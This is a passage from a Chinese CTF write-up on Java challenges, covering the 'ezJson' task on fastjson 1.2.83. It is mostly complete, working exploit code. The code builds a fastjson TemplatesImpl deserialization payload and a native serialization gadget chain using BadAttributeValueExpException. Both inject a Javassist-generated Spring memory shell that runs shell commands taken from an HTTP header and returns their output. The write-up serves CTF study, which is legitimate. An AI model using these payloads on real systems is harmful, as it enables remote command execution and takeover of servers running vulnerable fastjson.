String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"\"_name\":\"a.b\","+
"\"_tfactory\":{},"+
"\"_outputProperties\":{}"+
"}\n";

System.out.println(text1);

// Object obj = JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);
} catch(Exception e) {
e.printStackTrace();
}
}

public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
}

ezJson

fastjson 1.2.83
没做任何限制 直接尝试打fastjson全版本原生反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class run {
public static void main(String[] args) throws Exception {
CtClass clazz = genPayloadForLinux();
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "jed");
setFieldValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, val);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap);
String payload = Base64.getEncoder().encodeToString(outputStream.toByteArray());
System.out.println(payload);
System.out.println(payload.length());
}

public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}

public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
}

POST传参记得URL特殊编码 忘记编码我还愣了一会


PolarD&N Java专题
http://example.com/2025/04/23/JAVA_Problem/
作者
Jednersaous
发布于
2025年4月23日
许可协议